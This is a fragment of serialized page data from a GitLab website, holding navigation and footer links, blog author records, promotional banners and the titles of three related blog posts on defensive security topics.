us",{"dataNavLevelOne":1300},{"type":1093,"columns":1357},[1358],{"items":1359},[1360,1363,1368],{"text":1049,"config":1361},{"href":1051,"dataGaName":1362,"dataGaLocation":1042},"talk to sales",{"text":1364,"config":1365},"Support portal",{"href":1366,"dataGaName":1367,"dataGaLocation":1042},"https://support.gitlab.com","support portal",{"text":1369,"config":1370},"Customer portal",{"href":1371,"dataGaName":1372,"dataGaLocation":1042},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":1374,"login":1375,"suggestions":1382},"Close",{"text":1376,"link":1377},"To search repositories and projects, login to",{"text":1378,"config":1379},"gitlab.com",{"href":1056,"dataGaName":1380,"dataGaLocation":1381},"search login","search",{"text":1383,"default":1384},"Suggestions",[1385,1387,1391,1393,1397,1401],{"text":1073,"config":1386},{"href":1078,"dataGaName":1073,"dataGaLocation":1381},{"text":1388,"config":1389},"Code Suggestions (AI)",{"href":1390,"dataGaName":1388,"dataGaLocation":1381},"/solutions/code-suggestions/",{"text":1109,"config":1392},{"href":1111,"dataGaName":1109,"dataGaLocation":1381},{"text":1394,"config":1395},"GitLab on AWS",{"href":1396,"dataGaName":1394,"dataGaLocation":1381},"/partners/technology-partners/aws/",{"text":1398,"config":1399},"GitLab on Google Cloud",{"href":1400,"dataGaName":1398,"dataGaLocation":1381},"/partners/technology-partners/google-cloud-platform/",{"text":1402,"config":1403},"Why GitLab?",{"href":1086,"dataGaName":1402,"dataGaLocation":1381},{"freeTrial":1405,"mobileIcon":1410,"desktopIcon":1415,"secondaryButton":1418},{"text":1406,"config":1407},"Start free trial",{"href":1408,"dataGaName":1047,"dataGaLocation":1409},"https://gitlab.com/-/trials/new/","nav",{"altText":1411,"config":1412},"Gitlab Icon",{"src":1413,"dataGaName":1414,"dataGaLocation":1409},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":1411,"config":1416},{"src":1417,"dataGaName":1414,"dataGaLocation":1409},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":1419,"config":1420},"Get Started",{"href":1421,"dataGaName":1422,"dataGaLocation":1409},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/get-started/","get started",{"freeTrial":1424,"mobileIcon":1428,"desktopIcon":1430},{"text":1425,"config":1426},"Learn more about GitLab Duo",{"href":1078,"dataGaName":1427,"dataGaLocation":1409},"gitlab duo",{"altText":1411,"config":1429},{"src":1413,"dataGaName":1414,"dataGaLocation":1409},{"altText":1411,"config":1431},{"src":1417,"dataGaName":1414,"dataGaLocation":1409},{"button":1433,"mobileIcon":1438,"desktopIcon":1440},{"text":1434,"config":1435},"/switch",{"href":1436,"dataGaName":1437,"dataGaLocation":1409},"#contact","switch",{"altText":1411,"config":1439},{"src":1413,"dataGaName":1414,"dataGaLocation":1409},{"altText":1411,"config":1441},{"src":1442,"dataGaName":1414,"dataGaLocation":1409},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":1444,"mobileIcon":1449,"desktopIcon":1451},{"text":1445,"config":1446},"Back to pricing",{"href":1191,"dataGaName":1447,"dataGaLocation":1409,"icon":1448},"back to pricing","GoBack",{"altText":1411,"config":1450},{"src":1413,"dataGaName":1414,"dataGaLocation":1409},{"altText":1411,"config":1452},{"src":1417,"dataGaName":1414,"dataGaLocation":1409},{"title":1454,"button":1455,"config":1459},"GitLab Orbit is here: The context layer for AI agents.",{"text":1084,"config":1456},{"href":1457,"dataGaName":1458,"dataGaLocation":1042},"/gitlab-orbit/","orbit",{"layout":1460,"disabled":1029},"release",{"data":1462},{"text":1463,"source":1464,"edit":1470,"contribute":1475,"config":1480,"items":1485,"minimal":1693},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":1465,"config":1466},"View page source",{"href":1467,"dataGaName":1468,"dataGaLocation":1469},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":1471,"config":1472},"Edit this page",{"href":1473,"dataGaName":1474,"dataGaLocation":1469},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":1476,"config":1477},"Please contribute",{"href":1478,"dataGaName":1479,"dataGaLocation":1469},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":1481,"facebook":1482,"youtube":1483,"linkedin":1484},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[1486,1533,1587,1631,1661],{"title":1189,"links":1487,"subMenu":1502},[1488,1492,1497],{"text":1489,"config":1490},"View plans",{"href":1191,"dataGaName":1491,"dataGaLocation":1469},"view plans",{"text":1493,"config":1494},"Why Premium?",{"href":1495,"dataGaName":1496,"dataGaLocation":1469},"/pricing/premium/","why premium",{"text":1498,"config":1499},"Why Ultimate?",{"href":1500,"dataGaName":1501,"dataGaLocation":1469},"/pricing/ultimate/","why ultimate",[1503],{"title":1504,"links":1505},"Contact Us",[1506,1509,1511,1513,1518,1523,1528],{"text":1507,"config":1508},"Contact sales",{"href":1051,"dataGaName":1052,"dataGaLocation":1469},{"text":1364,"config":1510},{"href":1366,"dataGaName":1367,"dataGaLocation":1469},{"text":1369,"config":1512},{"href":1371,"dataGaName":1372,"dataGaLocation":1469},{"text":1514,"config":1515},"Status",{"href":1516,"dataGaName":1517,"dataGaLocation":1469},"https://status.gitlab.com/","status",{"text":1519,"config":1520},"Terms of use",{"href":1521,"dataGaName":1522,"dataGaLocation":1469},"/terms/","terms of use",{"text":1524,"config":1525},"Privacy statement",{"href":1526,"dataGaName":1527,"dataGaLocation":1469},"/privacy/","privacy statement",{"text":1529,"config":1530},"Cookie preferences",{"dataGaName":1531,"dataGaLocation":1469,"id":1532,"isOneTrustButton":1023},"cookie preferences","ot-sdk-btn",{"title":1089,"links":1534,"subMenu":1543},[1535,1539],{"text":1536,"config":1537},"DevSecOps platform",{"href":1071,"dataGaName":1538,"dataGaLocation":1469},"devsecops platform",{"text":1540,"config":1541},"AI-Assisted Development",{"href":1078,"dataGaName":1542,"dataGaLocation":1469},"ai-assisted development",[1544],{"title":1545,"links":1546},"Topics",[1547,1552,1557,1562,1567,1572,1577,1582],{"text":1548,"config":1549},"CICD",{"href":1550,"dataGaName":1551,"dataGaLocation":1469},"/topics/ci-cd/","cicd",{"text":1553,"config":1554},"GitOps",{"href":1555,"dataGaName":1556,"dataGaLocation":1469},"/topics/gitops/","gitops",{"text":1558,"config":1559},"DevOps",{"href":1560,"dataGaName":1561,"dataGaLocation":1469},"/topics/devops/","devops",{"text":1563,"config":1564},"Version Control",{"href":1565,"dataGaName":1566,"dataGaLocation":1469},"/topics/version-control/","version control",{"text":1568,"config":1569},"DevSecOps",{"href":1570,"dataGaName":1571,"dataGaLocation":1469},"/topics/devsecops/","devsecops",{"text":1573,"config":1574},"Cloud Native",{"href":1575,"dataGaName":1576,"dataGaLocation":1469},"/topics/cloud-native/","cloud native",{"text":1578,"config":1579},"AI for Coding",{"href":1580,"dataGaName":1581,"dataGaLocation":1469},"/topics/devops/ai-for-coding/","ai for coding",{"text":1583,"config":1584},"Agentic AI",{"href":1585,"dataGaName":1586,"dataGaLocation":1469},"/topics/agentic-ai/","agentic ai",{"title":1588,"links":1589},"Solutions",[1590,1592,1594,1599,1603,1606,1610,1613,1615,1618,1621,1626],{"text":1133,"config":1591},{"href":1128,"dataGaName":1133,"dataGaLocation":1469},{"text":1122,"config":1593},{"href":1105,"dataGaName":1106,"dataGaLocation":1469},{"text":1595,"config":1596},"Agile development",{"href":1597,"dataGaName":1598,"dataGaLocation":1469},"/solutions/agile-delivery/","agile delivery",{"text":1600,"config":1601},"SCM",{"href":1118,"dataGaName":1602,"dataGaLocation":1469},"source code management",{"text":1548,"config":1604},{"href":1111,"dataGaName":1605,"dataGaLocation":1469},"continuous integration & delivery",{"text":1607,"config":1608},"Value stream management",{"href":1161,"dataGaName":1609,"dataGaLocation":1469},"value stream management",{"text":1553,"config":1611},{"href":1612,"dataGaName":1556,"dataGaLocation":1469},"/solutions/gitops/",{"text":1171,"config":1614},{"href":1174,"dataGaName":1175,"dataGaLocation":1469},{"text":1616,"config":1617},"Small business",{"href":1180,"dataGaName":1181,"dataGaLocation":1469},{"text":1619,"config":1620},"Public sector",{"href":1186,"dataGaName":1187,"dataGaLocation":1469},{"text":1622,"config":1623},"Education",{"href":1624,"dataGaName":1625,"dataGaLocation":1469},"/solutions/education/","education",{"text":1627,"config":1628},"Financial services",{"href":1629,"dataGaName":1630,"dataGaLocation":1469},"/solutions/finance/","financial services",{"title":1194,"links":1632},[1633,1635,1637,1639,1642,1644,1647,1649,1651,1653,1655,1657,1659],{"text":1207,"config":1634},{"href":1209,"dataGaName":1210,"dataGaLocation":1469},{"text":1212,"config":1636},{"href":1214,"dataGaName":1215,"dataGaLocation":1469},{"text":1217,"config":1638},{"href":1219,"dataGaName":1220,"dataGaLocation":1469},{"text":1222,"config":1640},{"href":1224,"dataGaName":1641,"dataGaLocation":1469},"docs",{"text":1245,"config":1643},{"href":1247,"dataGaName":1248,"dataGaLocation":1469},{"text":1645,"config":1646},"What's new",{"href":1295,"dataGaName":1296,"dataGaLocation":1469},{"text":1240,"config":1648},{"href":1242,"dataGaName":1243,"dataGaLocation":1469},{"text":1254,"config":1650},{"href":1256,"dataGaName":1257,"dataGaLocation":1469},{"text":1262,"config":1652},{"href":1264,"dataGaName":1265,"dataGaLocation":1469},{"text":1267,"config":1654},{"href":1269,"dataGaName":1270,"dataGaLocation":1469},{"text":1272,"config":1656},{"href":1274,"dataGaName":1275,"dataGaLocation":1469},{"text":1277,"config":1658},{"href":1279,"dataGaName":1280,"dataGaLocation":1469},{"text":1282,"config":1660},{"href":1284,"dataGaName":1285,"dataGaLocation":1469},{"title":1298,"links":1662},[1663,1665,1667,1669,1671,1673,1677,1682,1684,1686,1688],{"text":1306,"config":1664},{"href":1308,"dataGaName":1300,"dataGaLocation":1469},{"text":1311,"config":1666},{"href":1313,"dataGaName":1314,"dataGaLocation":1469},{"text":1319,"config":1668},{"href":1321,"dataGaName":1322,"dataGaLocation":1469},{"text":1324,"config":1670},{"href":1326,"dataGaName":1327,"dataGaLocation":1469},{"text":1329,"config":1672},{"href":1331,"dataGaName":1332,"dataGaLocation":1469},{"text":1674,"config":1675},"Sustainability",{"href":1676,"dataGaName":1674,"dataGaLocation":1469},"/sustainability/",{"text":1678,"config":1679},"Diversity, inclusion and belonging (DIB)",{"href":1680,"dataGaName":1681,"dataGaLocation":1469},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":1334,"config":1683},{"href":1336,"dataGaName":1337,"dataGaLocation":1469},{"text":1344,"config":1685},{"href":1346,"dataGaName":1347,"dataGaLocation":1469},{"text":1349,"config":1687},{"href":1351,"dataGaName":1352,"dataGaLocation":1469},{"text":1689,"config":1690},"Modern Slavery Transparency Statement",{"href":1691,"dataGaName":1692,"dataGaLocation":1469},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":1694},[1695,1698,1701],{"text":1696,"config":1697},"Terms",{"href":1521,"dataGaName":1522,"dataGaLocation":1469},{"text":1699,"config":1700},"Cookies",{"dataGaName":1531,"dataGaLocation":1469,"id":1532,"isOneTrustButton":1023},{"text":1702,"config":1703},"Privacy",{"href":1526,"dataGaName":1527,"dataGaLocation":1469},[1705,1719],{"id":1706,"title":7,"body":1022,"config":1707,"content":1709,"description":1022,"extension":1713,"meta":1714,"navigation":1023,"path":1715,"seo":1716,"stem":1717,"__hash__":1718},"blogAuthors/en-us/blog/authors/dinesh-bolkensteyn.yml",{"template":1708},"BlogAuthor",{"name":7,"config":1710},{"headshot":1711,"ctfId":1712},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1781016491/cs30c757njvhqnyizzmn.jpg","EpylYWgjPmFOL5NX3Zxmk","yml",{},"/en-us/blog/authors/dinesh-bolkensteyn",{},"en-us/blog/authors/dinesh-bolkensteyn","Pv3nFIJV4WoNXz6FcpkaLOBx8QTtXH1KIVGmxt1GGME",{"id":1720,"title":8,"body":1022,"config":1721,"content":1723,"description":1022,"extension":1713,"meta":1726,"navigation":1023,"path":1727,"seo":1728,"stem":1729,"__hash__":1730},"blogAuthors/en-us/blog/authors/daniel-abeles.yml",{"template":1708,"gitlabHandle":1722},"dabeles",{"name":8,"config":1724},{"headshot":1725},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1764021550/s0jlolynjykik4qzfznr.png",{},"/en-us/blog/authors/daniel-abeles",{},"en-us/blog/authors/daniel-abeles","Jk9qNn2qJBh633zCEZSFpYFUYNt83twJ-Ge9wrn_oT0",[1732,1741,1749],{"title":1733,"description":1734,"heroImage":1735,"category":1018,"date":1736,"authors":1737,"slug":1740,"externalUrl":1022},"How to detect and prevent Contagious Interview IDE attacks","Learn how we built custom controls that detect and prevent malware campaigns like those used for Contagious Interview and how to deploy them in your environment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1774375772/kpaaaiqhokevxxeoxvu0.png","2026-05-04",[1738,1739],"Josh Feehs","Austin Bollinger","how-to-detect-and-prevent-contagious-interview-ide-attacks",{"title":1742,"description":1743,"heroImage":1744,"category":1018,"date":1745,"authors":1746,"slug":1748,"externalUrl":1022},"Build an automated detection testing framework with GitLab CI/CD and Duo","Learn how GitLab's Signals Engineering team built the WATCH framework to continuously validate our security monitoring pipeline.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png","2026-04-30",[1747],"Evan Baltman","automated-detection-testing-framework",{"title":1750,"description":1751,"heroImage":1024,"category":1018,"date":1752,"authors":1753,"slug":1755,"externalUrl":1022},"Pipeline security lessons from March supply chain incidents","Learn how centralized pipeline policies can detect and block the patterns behind a series of recent attacks.","2026-04-07",[1754],"Grant Hickman","pipeline-security-lessons-from-march-supply-chain-incidents",{"promotions":1757},[1758,1772,1784,1795],{"id":1759,"categories":1760,"header":1762,"text":1763,"button":1764,"image":1769},"ai-modernization",[1761],"ai","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":1765,"config":1766},"Get your AI maturity score",{"href":1767,"dataGaName":1768,"dataGaLocation":1248},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":1770},{"src":1771},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":1773,"categories":1774,"header":1776,"text":1763,"button":1777,"image":1781},"devops-modernization",[1775,1571],"product","Are you just managing tools or shipping innovation?",{"text":1778,"config":1779},"Get your DevOps maturity score",{"href":1780,"dataGaName":1768,"dataGaLocation":1248},"/assessments/devops-modernization-assessment/",{"config":1782},{"src":1783},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":1785,"categories":1786,"header":1787,"text":1763,"button":1788,"image":1792},"security-modernization",[1033],"Are you trading speed for security?",{"text":1789,"config":1790},"Get your security maturity score",{"href":1791,"dataGaName":1768,"dataGaLocation":1248},"/assessments/security-modernization-assessment/",{"config":1793},{"src":1794},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":1796,"paths":1797,"header":1800,"text":1801,"button":1802,"image":1807},"github-azure-migration",[1798,1799],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Is your team ready for GitHub's Azure move?","GitHub is already rebuilding around Azure. Find out what it means for you.",{"text":1803,"config":1804},"See how GitLab compares to GitHub",{"href":1805,"dataGaName":1806,"dataGaLocation":1248},"/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":1808},{"src":1783},{"header":1810,"blurb":1811,"button":1812,"secondaryButton":1817},"Start building faster today","See what your team can do with the intelligent orchestration platform for DevSecOps.\n",{"text":1813,"config":1814},"Get your free trial",{"href":1815,"dataGaName":1047,"dataGaLocation":1816},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":1507,"config":1818},{"href":1051,"dataGaName":1052,"dataGaLocation":1816},1781392774454]